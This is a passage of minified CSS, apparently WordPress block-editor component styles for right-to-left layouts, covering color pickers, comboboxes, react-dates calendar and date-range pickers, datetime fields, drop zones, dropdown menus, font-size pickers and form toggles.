rgba(0,0,0,.37);background:#fff;transform:translate(7px,-1px)}.components-color-picker__hue-pointer,.components-color-picker__saturation-pointer{transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.components-color-picker__hue-pointer,.components-color-picker__saturation-pointer{transition-duration:0s}}.components-color-picker__saturation-pointer:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba,0 0 5px 0 #007cba,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color),0 0 5px 0 var(--wp-admin-theme-color),inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4)}.components-color-picker__alpha-pointer:focus,.components-color-picker__hue-pointer:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px #007cba,0 0 3px 0 #007cba;box-shadow:0 0 0 2px var(--wp-admin-theme-color),0 0 3px 0 var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.components-color-picker__inputs-wrapper{margin:0 -4px;padding-top:16px;display:flex;align-items:flex-end;min-width:255px}.components-color-picker__inputs-wrapper fieldset{flex:1;border:none;margin:0;padding:0}.components-color-picker__inputs-wrapper .components-color-picker__inputs-fields .components-text-control__input[type=number]{padding:6px 3px;margin:0}.components-color-picker__inputs-field{width:100%}.components-color-picker__inputs-fields{display:flex;direction:ltr;flex-grow:1;margin-left:4px}.components-color-picker__inputs-fields .components-base-control+.components-base-control{margin-top:0}.components-color-picker__inputs-fields .components-base-control__field{margin:0 2px}.components-color-picker__inputs-toggle{height:30px;padding:0 5px}.components-combobox-control{width:100%}input.components-combobox-control__input[type=text]{width:100%;border:none;box-shadow:none;font-size:16px;padding:2px;margin:0;line-height:inherit;min-height:auto}@media (min-width:600px){input.components-combobox-control__input[type=text]{font-size:13px}}input.components-combobox-control__input[type=text]:focus{outline:none;box-shadow:none}.components-combobox-control__suggestions-container{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;display:flex;flex-wrap:wrap;align-items:flex-start;width:100%;margin:0 0 8px;padding:4px}@media (prefers-reduced-motion:reduce){.components-combobox-control__suggestions-container{transition-duration:0s}}@media (min-width:600px){.components-combobox-control__suggestions-container{font-size:13px;line-height:normal}}.components-combobox-control__suggestions-container:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-combobox-control__suggestions-container::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-combobox-control__suggestions-container::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-combobox-control__suggestions-container:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-combobox-control__suggestions-container::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-combobox-control__suggestions-container::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-combobox-control__suggestions-container:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-combobox-control__suggestions-container:focus-within{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-combobox-control__reset.components-button{display:flex;height:24px;min-width:24px;padding:0}.components-custom-gradient-picker__gradient-bar:not(.has-gradient){opacity:.4}.components-custom-gradient-picker__gradient-bar{margin-top:12px;width:100%;height:36px;border-radius:36px;margin-bottom:12px;padding-right:6px;padding-left:30px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{position:relative}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point{border-radius:50%;background:#fff;padding:2px;top:6px;min-width:24px;width:24px;height:24px;position:relative;color:#1e1e1e}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point svg{height:100%;width:100%}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{border:2px solid transparent;box-shadow:inset 0 0 0 2px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff;border-radius:50%;height:24px;width:24px;padding:0;position:absolute;top:6px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #1e1e1e}.components-custom-gradient-picker__color-picker-popover .components-custom-gradient-picker__remove-control-point{margin-right:auto;margin-left:auto;display:block;margin-bottom:8px}.components-custom-gradient-picker__inserter{width:100%}.components-custom-gradient-picker__liner-gradient-indicator{display:inline-block;flex:0 auto;width:20px;height:20px}.components-custom-gradient-picker .components-custom-gradient-picker__ui-line{margin-bottom:16px}.components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-angle-picker,.components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-custom-gradient-picker__type-picker{margin-bottom:0}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar{border:none}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar>div+div{margin-right:1px}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed>svg{background:#fff;border:1px solid #949494;border-radius:2px}.components-custom-select-control{position:relative}.components-custom-select-control__label{display:block;margin-bottom:8px}.components-custom-select-control__button{border:1px solid #757575;border-radius:2px;min-height:30px;min-width:130px;position:relative;text-align:right}.components-custom-select-control__button.components-custom-select-control__button{padding-left:24px}.components-custom-select-control__button:focus:not(:disabled){border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-custom-select-control__button .components-custom-select-control__button-icon{height:100%;padding:0;position:absolute;left:0;top:0}.components-custom-select-control__menu{border:1px solid #1e1e1e;background-color:#fff;border-radius:2px;outline:none;transition:none;max-height:400px;min-width:100%;overflow:auto;padding:0;position:absolute;z-index:1000000}.components-custom-select-control__menu[aria-hidden=true]{display:none}.components-custom-select-control__item{align-items:center;display:flex;list-style-type:none;padding:8px;cursor:default;line-height:28px}.components-custom-select-control__item.is-highlighted{background:#ddd}.components-custom-select-control__item .components-custom-select-control__item-icon{margin-left:0;margin-right:auto}.components-custom-select-control__item:last-child{margin-bottom:0}.PresetDateRangePicker_panel{padding:0 22px 11px}.PresetDateRangePicker_button{position:relative;height:100%;text-align:center;background:0 0;border:2px solid #00a699;color:#00a699;padding:4px 12px;margin-right:8px;font:inherit;font-weight:700;line-height:normal;overflow:visible;box-sizing:border-box;cursor:pointer}.PresetDateRangePicker_button:active{outline:0}.PresetDateRangePicker_button__selected{color:#fff;background:#00a699}.SingleDatePickerInput{display:inline-block;background-color:#fff}.SingleDatePickerInput__withBorder{border-radius:2px;border:1px solid #dbdbdb}.SingleDatePickerInput__rtl{direction:rtl}.SingleDatePickerInput__disabled{background-color:#f2f2f2}.SingleDatePickerInput__block{display:block}.SingleDatePickerInput__showClearDate{padding-right:30px}.SingleDatePickerInput_clearDate{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;padding:10px;margin:0 10px 0 5px;position:absolute;right:0;top:50%;transform:translateY(-50%)}.SingleDatePickerInput_clearDate__default:focus,.SingleDatePickerInput_clearDate__default:hover{background:#dbdbdb;border-radius:50%}.SingleDatePickerInput_clearDate__small{padding:6px}.SingleDatePickerInput_clearDate__hide{visibility:hidden}.SingleDatePickerInput_clearDate_svg{fill:#82888a;height:12px;width:15px;vertical-align:middle}.SingleDatePickerInput_clearDate_svg__small{height:9px}.SingleDatePickerInput_calendarIcon{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;display:inline-block;vertical-align:middle;padding:10px;margin:0 5px 0 10px}.SingleDatePickerInput_calendarIcon_svg{fill:#82888a;height:15px;width:14px;vertical-align:middle}.SingleDatePicker{position:relative;display:inline-block}.SingleDatePicker__block{display:block}.SingleDatePicker_picker{z-index:1;background-color:#fff;position:absolute}.SingleDatePicker_picker__rtl{direction:rtl}.SingleDatePicker_picker__directionLeft{left:0}.SingleDatePicker_picker__directionRight{right:0}.SingleDatePicker_picker__portal{background-color:rgba(0,0,0,.3);position:fixed;top:0;left:0;height:100%;width:100%}.SingleDatePicker_picker__fullScreenPortal{background-color:#fff}.SingleDatePicker_closeButton{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;position:absolute;top:0;right:0;padding:15px;z-index:2}.SingleDatePicker_closeButton:focus,.SingleDatePicker_closeButton:hover{color:#b0b3b4;text-decoration:none}.SingleDatePicker_closeButton_svg{height:15px;width:15px;fill:#cacccd}.DayPickerKeyboardShortcuts_buttonReset{background:0 0;border:0;border-radius:0;color:inherit;font:inherit;line-height:normal;overflow:visible;padding:0;cursor:pointer;font-size:14px}.DayPickerKeyboardShortcuts_buttonReset:active{outline:0}.DayPickerKeyboardShortcuts_show{width:22px;position:absolute;z-index:2}.DayPickerKeyboardShortcuts_show__bottomRight{border-top:26px solid transparent;border-right:33px solid #00a699;bottom:0;right:0}.DayPickerKeyboardShortcuts_show__bottomRight:hover{border-right:33px solid #008489}.DayPickerKeyboardShortcuts_show__topRight{border-bottom:26px solid transparent;border-right:33px solid #00a699;top:0;right:0}.DayPickerKeyboardShortcuts_show__topRight:hover{border-right:33px solid #008489}.DayPickerKeyboardShortcuts_show__topLeft{border-bottom:26px solid transparent;border-left:33px solid #00a699;top:0;left:0}.DayPickerKeyboardShortcuts_show__topLeft:hover{border-left:33px solid #008489}.DayPickerKeyboardShortcuts_showSpan{color:#fff;position:absolute}.DayPickerKeyboardShortcuts_showSpan__bottomRight{bottom:0;right:-28px}.DayPickerKeyboardShortcuts_showSpan__topRight{top:1px;right:-28px}.DayPickerKeyboardShortcuts_showSpan__topLeft{top:1px;left:-28px}.DayPickerKeyboardShortcuts_panel{overflow:auto;background:#fff;border:1px solid #dbdbdb;border-radius:2px;position:absolute;top:0;bottom:0;right:0;left:0;z-index:2;padding:22px;margin:33px}.DayPickerKeyboardShortcuts_title{font-size:16px;font-weight:700;margin:0}.DayPickerKeyboardShortcuts_list{list-style:none;padding:0;font-size:14px}.DayPickerKeyboardShortcuts_close{position:absolute;right:22px;top:22px;z-index:2}.DayPickerKeyboardShortcuts_close:active{outline:0}.DayPickerKeyboardShortcuts_closeSvg{height:15px;width:15px;fill:#cacccd}.DayPickerKeyboardShortcuts_closeSvg:focus,.DayPickerKeyboardShortcuts_closeSvg:hover{fill:#82888a}.CalendarDay{box-sizing:border-box;cursor:pointer;font-size:14px;text-align:center}.CalendarDay:active{outline:0}.CalendarDay__defaultCursor{cursor:default}.CalendarDay__default{border:1px solid #e4e7e7;color:#484848;background:#fff}.CalendarDay__default:hover{background:#e4e7e7;border:1px double #e4e7e7;color:inherit}.CalendarDay__hovered_offset{background:#f4f5f5;border:1px double #e4e7e7;color:inherit}.CalendarDay__outside{border:0;background:#fff;color:#484848}.CalendarDay__outside:hover{border:0}.CalendarDay__blocked_minimum_nights{background:#fff;border:1px solid #eceeee;color:#cacccd}.CalendarDay__blocked_minimum_nights:active,.CalendarDay__blocked_minimum_nights:hover{background:#fff;color:#cacccd}.CalendarDay__highlighted_calendar{background:#ffe8bc;color:#484848}.CalendarDay__highlighted_calendar:active,.CalendarDay__highlighted_calendar:hover{background:#ffce71;color:#484848}.CalendarDay__selected_span{background:#66e2da;border:1px solid #33dacd;color:#fff}.CalendarDay__selected_span:active,.CalendarDay__selected_span:hover{background:#33dacd;border:1px solid #33dacd;color:#fff}.CalendarDay__last_in_range{border-right:#00a699}.CalendarDay__selected,.CalendarDay__selected:active,.CalendarDay__selected:hover{background:#00a699;border:1px solid #00a699;color:#fff}.CalendarDay__hovered_span,.CalendarDay__hovered_span:hover{background:#b2f1ec;border:1px solid #80e8e0;color:#007a87}.CalendarDay__hovered_span:active{background:#80e8e0;border:1px solid #80e8e0;color:#007a87}.CalendarDay__blocked_calendar,.CalendarDay__blocked_calendar:active,.CalendarDay__blocked_calendar:hover{background:#cacccd;border:1px solid #cacccd;color:#82888a}.CalendarDay__blocked_out_of_range,.CalendarDay__blocked_out_of_range:active,.CalendarDay__blocked_out_of_range:hover{background:#fff;border:1px solid #e4e7e7;color:#cacccd}.CalendarMonth{background:#fff;text-align:center;vertical-align:top;-webkit-user-select:none;-ms-user-select:none;user-select:none}.CalendarMonth_table{border-collapse:collapse;border-spacing:0}.CalendarMonth_verticalSpacing{border-collapse:separate}.CalendarMonth_caption{color:#484848;font-size:18px;text-align:center;padding-top:22px;padding-bottom:37px;caption-side:top}.CalendarMonth_caption__verticalScrollable{padding-top:12px;padding-bottom:7px}.CalendarMonthGrid{background:#fff;text-align:left;z-index:0}.CalendarMonthGrid__animating{z-index:1}.CalendarMonthGrid__horizontal{position:absolute;left:0}.CalendarMonthGrid__vertical{margin:0 auto}.CalendarMonthGrid__vertical_scrollable{margin:0 auto;overflow-y:scroll}.CalendarMonthGrid_month__horizontal{display:inline-block;vertical-align:top;min-height:100%}.CalendarMonthGrid_month__hideForAnimation{position:absolute;z-index:-1;opacity:0;pointer-events:none}.CalendarMonthGrid_month__hidden{visibility:hidden}.DayPickerNavigation{position:relative;z-index:2}.DayPickerNavigation__horizontal{height:0}.DayPickerNavigation__verticalDefault{position:absolute;width:100%;height:52px;bottom:0;left:0}.DayPickerNavigation__verticalScrollableDefault{position:relative}.DayPickerNavigation_button{cursor:pointer;-webkit-user-select:none;-ms-user-select:none;user-select:none;border:0;padding:0;margin:0}.DayPickerNavigation_button__default{border:1px solid #e4e7e7;background-color:#fff;color:#757575}.DayPickerNavigation_button__default:focus,.DayPickerNavigation_button__default:hover{border:1px solid #c4c4c4}.DayPickerNavigation_button__default:active{background:#f2f2f2}.DayPickerNavigation_button__horizontalDefault{position:absolute;top:18px;line-height:.78;border-radius:3px;padding:6px 9px}.DayPickerNavigation_leftButton__horizontalDefault{left:22px}.DayPickerNavigation_rightButton__horizontalDefault{right:22px}.DayPickerNavigation_button__verticalDefault{padding:5px;background:#fff;box-shadow:0 0 5px 2px rgba(0,0,0,.1);position:relative;display:inline-block;height:100%;width:50%}.DayPickerNavigation_nextButton__verticalDefault{border-left:0}.DayPickerNavigation_nextButton__verticalScrollableDefault{width:100%}.DayPickerNavigation_svg__horizontal{height:19px;width:19px;fill:#82888a;display:block}.DayPickerNavigation_svg__vertical{height:42px;width:42px;fill:#484848;display:block}.DayPicker{position:relative;text-align:left}.DayPicker,.DayPicker__horizontal{background:#fff}.DayPicker__verticalScrollable{height:100%}.DayPicker__hidden{visibility:hidden}.DayPicker__withBorder{box-shadow:0 2px 6px rgba(0,0,0,.05),0 0 0 1px rgba(0,0,0,.07);border-radius:3px}.DayPicker_portal__horizontal{box-shadow:none;position:absolute;left:50%;top:50%}.DayPicker_portal__vertical{position:static}.DayPicker_focusRegion{outline:0}.DayPicker_calendarInfo__horizontal,.DayPicker_wrapper__horizontal{display:inline-block;vertical-align:top}.DayPicker_weekHeaders{position:relative}.DayPicker_weekHeaders__horizontal{margin-left:13px}.DayPicker_weekHeader{color:#757575;position:absolute;top:62px;z-index:2;text-align:left;padding:0!important}.DayPicker_weekHeader__vertical{left:50%}.DayPicker_weekHeader__verticalScrollable{top:0;display:table-row;border-bottom:1px solid #dbdbdb;background:#fff;margin-left:0;left:0;width:100%;text-align:center}.DayPicker_weekHeader_ul{list-style:none;margin:1px 0;padding-left:0;padding-right:0;font-size:14px}.DayPicker_weekHeader_li{display:inline-block;text-align:center;margin:0 1px}.DayPicker_transitionContainer{position:relative;overflow:hidden;border-radius:3px}.DayPicker_transitionContainer__horizontal{transition:height .2s ease-in-out}.DayPicker_transitionContainer__vertical{width:100%}.DayPicker_transitionContainer__verticalScrollable{padding-top:20px;height:100%;position:absolute;top:0;bottom:0;right:0;left:0;overflow-y:scroll}.DateInput{margin:0;padding:0;background:#fff;position:relative;display:inline-block;width:130px;vertical-align:middle}.DateInput__small{width:97px}.DateInput__block{width:100%}.DateInput__disabled{background:#f2f2f2;color:#dbdbdb}.DateInput_input{font-weight:200;font-size:19px;line-height:24px;color:#484848;background-color:#fff;width:100%;padding:11px 11px 9px;border:0;border-bottom:2px solid transparent;border-radius:0}.DateInput_input__small{font-size:15px;line-height:18px;letter-spacing:.2px;padding:7px 7px 5px}.DateInput_input__regular{font-weight:auto}.DateInput_input__readOnly{-webkit-user-select:none;-ms-user-select:none;user-select:none}.DateInput_input__focused{outline:0;background:#fff;border:0;border-bottom:2px solid #008489}.DateInput_input__disabled{background:#f2f2f2;font-style:italic}.DateInput_screenReaderMessage{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.DateInput_fang{position:absolute;width:20px;height:10px;left:22px;z-index:2}.DateInput_fangShape{fill:#fff}.DateInput_fangStroke{stroke:#dbdbdb;fill:transparent}.DateRangePickerInput{background-color:#fff;display:inline-block}.DateRangePickerInput__disabled{background:#f2f2f2}.DateRangePickerInput__withBorder{border-radius:2px;border:1px solid #dbdbdb}.DateRangePickerInput__rtl{direction:rtl}.DateRangePickerInput__block{display:block}.DateRangePickerInput__showClearDates{padding-right:30px}.DateRangePickerInput_arrow{display:inline-block;vertical-align:middle;color:#484848}.DateRangePickerInput_arrow_svg{vertical-align:middle;fill:#484848;height:24px;width:24px}.DateRangePickerInput_clearDates{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;padding:10px;margin:0 10px 0 5px;position:absolute;right:0;top:50%;transform:translateY(-50%)}.DateRangePickerInput_clearDates__small{padding:6px}.DateRangePickerInput_clearDates_default:focus,.DateRangePickerInput_clearDates_default:hover{background:#dbdbdb;border-radius:50%}.DateRangePickerInput_clearDates__hide{visibility:hidden}.DateRangePickerInput_clearDates_svg{fill:#82888a;height:12px;width:15px;vertical-align:middle}.DateRangePickerInput_clearDates_svg__small{height:9px}.DateRangePickerInput_calendarIcon{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;display:inline-block;vertical-align:middle;padding:10px;margin:0 5px 0 10px}.DateRangePickerInput_calendarIcon_svg{fill:#82888a;height:15px;width:14px;vertical-align:middle}.DateRangePicker{position:relative;display:inline-block}.DateRangePicker__block{display:block}.DateRangePicker_picker{z-index:1;background-color:#fff;position:absolute}.DateRangePicker_picker__rtl{direction:rtl}.DateRangePicker_picker__directionLeft{left:0}.DateRangePicker_picker__directionRight{right:0}.DateRangePicker_picker__portal{background-color:rgba(0,0,0,.3);position:fixed;top:0;left:0;height:100%;width:100%}.DateRangePicker_picker__fullScreenPortal{background-color:#fff}.DateRangePicker_closeButton{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;position:absolute;top:0;right:0;padding:15px;z-index:2}.DateRangePicker_closeButton:focus,.DateRangePicker_closeButton:hover{color:#b0b3b4;text-decoration:none}.DateRangePicker_closeButton_svg{height:15px;width:15px;fill:#cacccd}.components-datetime{padding:0}.components-datetime .components-datetime__calendar-help{padding:16px}.components-datetime .components-datetime__calendar-help h4{margin:0}.components-datetime .components-datetime__buttons{display:flex;justify-content:space-between}.components-datetime .components-datetime__date-help-toggle{display:block;margin-right:auto}.components-datetime fieldset{border:0;padding:0;margin:0}.components-datetime input,.components-datetime select{box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575}@media (prefers-reduced-motion:reduce){.components-datetime input,.components-datetime select{transition-duration:0s}}.components-datetime .components-button,.components-datetime input[type=number],.components-datetime select{height:30px;margin-top:0;margin-bottom:0}.components-datetime__date{min-height:236px;border-top:1px solid #ddd}.components-datetime__date .DayPickerNavigation_leftButton__horizontalDefault{left:13px}.components-datetime__date .CalendarMonth_caption{font-size:13px}.components-datetime__date .CalendarMonth_table{border-collapse:separate;border-spacing:2px}.components-datetime__date .CalendarDay{font-size:13px;border:none;border-radius:50%;text-align:center}.components-datetime__date .CalendarDay:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 3px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 3px #fff;outline:2px solid transparent}.components-datetime__date .CalendarDay__selected{background:#007cba;background:var(--wp-admin-theme-color);border:2px solid transparent}.components-datetime__date .CalendarDay__selected:hover{background:#005a87;background:var(--wp-admin-theme-color-darker-20)}.components-datetime__date .CalendarDay__selected:focus{box-shadow:inset 0 0 0 1px #fff}.components-datetime__date .DayPickerNavigation_button__horizontalDefault{padding:2px 8px;top:20px}.components-datetime__date .DayPickerNavigation_button__horizontalDefault:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-datetime__date .DayPicker_weekHeader{top:50px}.components-datetime__date .DayPicker_weekHeader .DayPicker_weekHeader_ul{margin:1px;padding-right:0;padding-left:0}.components-datetime__date.is-description-visible .DayPicker{visibility:hidden}.components-datetime__time{padding-bottom:16px}.components-datetime__time fieldset{position:relative;margin-bottom:.5em}.components-datetime__time fieldset+fieldset{margin-bottom:0}.components-datetime__time .components-datetime__time-field-am-pm fieldset{margin-top:0}.components-datetime__time .components-datetime__time-wrapper{display:flex}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-separator{display:inline-block;padding:0 0 0 3px}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field-time{direction:ltr}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select{margin-left:4px}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select:focus{position:relative;z-index:1}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]{padding:2px;margin-left:4px;text-align:center;-moz-appearance:textfield}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]:focus{position:relative;z-index:1}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]::-webkit-inner-spin-button{-webkit-appearance:none;margin:0}.components-datetime__time.is-12-hour .components-datetime__time-field-day input{margin:-4px 0 0!important;border-radius:0 2px 2px 0!important}.components-datetime__time.is-12-hour .components-datetime__time-field-year input{border-radius:2px 0 0 2px!important}.components-datetime__timezone{line-height:30px;margin-right:4px;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}.components-datetime__time-legend{font-weight:600;margin-top:.5em}.components-datetime__time-legend.invisible{position:absolute;top:-999em;right:-999em}.components-datetime__time-field-day-input,.components-datetime__time-field-hours-input,.components-datetime__time-field-minutes-input{width:35px}.components-datetime__time-field-year-input{width:55px}.components-datetime__time-field-month-select{max-width:145px}.components-popover .components-datetime__date{padding-right:4px}.block-editor-dimension-control .components-base-control__field{display:flex;align-items:center}.block-editor-dimension-control .components-base-control__label{display:flex;align-items:center;margin-left:1em;margin-bottom:0}.block-editor-dimension-control .components-base-control__label .dashicon{margin-left:.5em}.block-editor-dimension-control.is-manual .components-base-control__label{width:10em}body.is-dragging-components-draggable{cursor:move;cursor:grabbing!important}.components-draggable__invisible-drag-image{position:fixed;right:-1000px;height:50px;width:50px}.components-draggable__clone{position:fixed;padding:0;background:transparent;pointer-events:none;z-index:1000000000}.components-drop-zone{position:absolute;top:0;left:0;bottom:0;right:0;z-index:40;visibility:hidden;opacity:0;transition:opacity .3s,background-color .3s,visibility 0s .3s;border:2px solid #007cba;border:2px solid var(--wp-admin-theme-color);border-radius:2px}@media (prefers-reduced-motion:reduce){.components-drop-zone{transition-duration:0s}}.components-drop-zone.is-active{opacity:1;visibility:visible;transition:opacity .3s,background-color .3s}@media (prefers-reduced-motion:reduce){.components-drop-zone.is-active{transition-duration:0s}}.components-drop-zone.is-dragging-over-element{background-color:#007cba;background-color:var(--wp-admin-theme-color)}.components-drop-zone__content{position:absolute;top:50%;right:0;left:0;z-index:50;transform:translateY(-50%);width:100%;text-align:center;color:#fff;transition:transform .2s ease-in-out}@media (prefers-reduced-motion:reduce){.components-drop-zone__content{transition-duration:0s}}.components-drop-zone.is-dragging-over-element .components-drop-zone__content{transform:translateY(-50%) scale(1.05)}.components-drop-zone__content-icon,.components-drop-zone__content-text{display:block}.components-drop-zone__content-icon{margin:0 auto;line-height:0;fill:currentColor}.components-drop-zone__content-text{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.components-drop-zone__provider{height:100%}.components-dropdown{display:inline-block}.components-dropdown__content .components-popover__content>div{padding:12px}.components-dropdown-menu__popover .components-popover__content{min-width:200px}.components-dropdown-menu__menu{width:100%;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:1.4}.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{width:100%;padding:6px;outline:none;cursor:pointer;white-space:nowrap}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{margin-top:6px;position:relative;overflow:visible}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{display:block;content:"";box-sizing:content-box;background-color:#ddd;position:absolute;top:-3px;right:0;left:0;height:1px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active svg{color:#fff;background:#1e1e1e;box-shadow:0 0 0 1px #1e1e1e;border-radius:1px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item>svg,.components-dropdown-menu__menu .components-menu-item>svg{border-radius:2px;width:24px;height:24px}.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{min-height:36px;height:auto;text-align:right;padding-right:8px;padding-left:8px}.components-dropdown-menu__menu .components-menu-group{padding:12px;margin:0 -12px}.components-dropdown-menu__menu .components-menu-group:first-child{margin-top:-12px}.components-dropdown-menu__menu .components-menu-group:last-child{margin-bottom:-12px}.components-dropdown-menu__menu .components-menu-group+.components-menu-group{margin-top:0;border-top:1px solid #ccc;padding:12px}.is-alternate .components-dropdown-menu__menu .components-menu-group+.components-menu-group{border-color:#1e1e1e}.components-font-size-picker__controls{max-width:248px;display:flex;flex-wrap:wrap;align-items:center;margin-bottom:24px}.components-font-size-picker__controls .components-font-size-picker__number{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;display:inline-block;font-weight:500;height:30px;margin:8px 0 0 8px;width:54px}@media (prefers-reduced-motion:reduce){.components-font-size-picker__controls .components-font-size-picker__number{transition-duration:0s}}@media (min-width:600px){.components-font-size-picker__controls .components-font-size-picker__number{font-size:13px;line-height:normal}}.components-font-size-picker__controls .components-font-size-picker__number:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-font-size-picker__controls .components-font-size-picker__number[value=""]+.components-button{cursor:default;opacity:.3;pointer-events:none}.components-font-size-picker__controls .components-font-size-picker__number-container{display:flex;flex-direction:column}.components-font-size-picker__controls .components-font-size-picker__select{margin-left:8px}.components-font-size-picker__controls .components-color-palette__clear{height:30px;margin-top:26px}.components-font-size-picker__custom-input .components-range-control__slider+.dashicon{width:30px;height:30px}.components-font-size-picker{border:0;padding:0;margin:0}.components-form-toggle{position:relative;display:inline-block}.components-form-toggle .components-form-toggle__track{content:"";display:inline-block;box-sizing:border-box;vertical-align:top;background-color:#fff;border:1px solid #1e1e1e;width:36px;height:18px;border-radius:9px;transition:background .2s ease}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__track{transition-duration:0s}}.components-form-toggle .components-form-toggle__thumb{display:block;position:absolute;box-sizing:border-box;top:3px;right:3px;width:12px;height:12px;border-radius:50%;transition:transform .1s ease;background-color:#1e1e1e;border:5px solid #1e1e1e}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__thumb{transition-duration:0s}}.components-form-toggle.is-checked .components-form-toggle__track{background-color:#007cba;background-color:var(--wp-admin-theme-color);border:9px solid transparent}.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:2px}.components-form-toggle.is-checked 